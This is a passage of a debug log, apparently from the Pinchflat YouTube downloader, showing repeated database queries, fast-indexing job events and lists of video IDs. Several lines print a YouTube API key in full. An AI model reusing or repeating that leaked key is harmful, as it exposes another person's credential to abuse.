s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:11.116 [debug] QUERY OK source="media_profiles" db=0.1ms idle=238.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:11.116 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:11.116 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:47:11.116 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:11.116 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:11.245 [debug] QUERY OK source="media_items" db=0.6ms idle=128.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 17:47:11.247 [debug] QUERY OK source="media_items" db=1.1ms idle=130.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:47:11.248 [debug] QUERY OK source="tasks" db=0.1ms idle=131.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800289, 14, ~U[2026-02-10 23:47:11Z], ~U[2026-02-10 23:47:11Z]] 17:47:11.248 [info] {"args":{"id":14},"id":3800250,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132927,"event":"job:stop","queue_time":531725,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:13.117 [info] {"args":{"id":24},"id":3800251,"meta":{},"system_time":1770767233117776713,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:13.117 [info] {"args":{"id":4},"id":3800252,"meta":{},"system_time":1770767233117817362,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:13.118 [debug] QUERY OK source="sources" db=0.2ms idle=239.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:47:13.118 [debug] QUERY OK source="sources" db=0.2ms idle=239.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:47:13.118 [debug] QUERY OK source="settings" db=0.1ms idle=239.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:13.118 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:13.118 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:13.118 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:13.118 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:13.118 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:13.118 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:47:13.118 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:47:13.119 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:13.119 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:13.119 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:13.119 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:13.232 [debug] QUERY OK source="media_items" db=0.3ms idle=112.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 17:47:13.232 [debug] QUERY OK source="media_items" db=0.1ms idle=113.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:47:13.233 [debug] QUERY OK source="tasks" db=0.2ms idle=114.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800290, 24, ~U[2026-02-10 23:47:13Z], ~U[2026-02-10 23:47:13Z]] 17:47:13.233 [info] {"args":{"id":24},"id":3800251,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":115706,"event":"job:stop","queue_time":464404,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:13.344 [debug] QUERY OK source="media_items" db=0.8ms idle=110.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 17:47:13.345 [debug] QUERY OK source="media_items" db=0.5ms idle=112.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:47:13.346 [debug] QUERY OK source="tasks" db=0.1ms idle=107.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800291, 4, ~U[2026-02-10 23:47:13Z], ~U[2026-02-10 23:47:13Z]] 17:47:13.347 [info] {"args":{"id":4},"id":3800252,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":228987,"event":"job:stop","queue_time":358249,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:14.119 [info] {"args":{"id":26},"id":3800253,"meta":{},"system_time":1770767234119710916,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:14.120 [debug] QUERY OK source="sources" db=0.2ms idle=773.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:47:14.120 [debug] QUERY OK source="settings" db=0.1ms idle=773.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:14.120 [debug] QUERY OK source="media_profiles" db=0.0ms idle=766.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:14.120 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:14.120 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:47:14.120 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:14.120 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:14.251 [debug] QUERY OK source="media_items" db=0.6ms idle=130.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 17:47:14.252 [debug] QUERY OK source="media_items" db=0.5ms idle=131.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:47:14.252 [debug] QUERY OK source="tasks" db=0.1ms idle=131.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800292, 26, ~U[2026-02-10 23:47:14Z], ~U[2026-02-10 23:47:14Z]] 17:47:14.253 [info] {"args":{"id":26},"id":3800253,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133165,"event":"job:stop","queue_time":472633,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:15.120 [info] {"args":{"id":18},"id":3800254,"meta":{},"system_time":1770767235120764433,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:15.120 [info] {"args":{"id":39},"id":3800255,"meta":{},"system_time":1770767235120799177,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:15.121 [debug] QUERY OK source="sources" db=0.1ms idle=868.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" 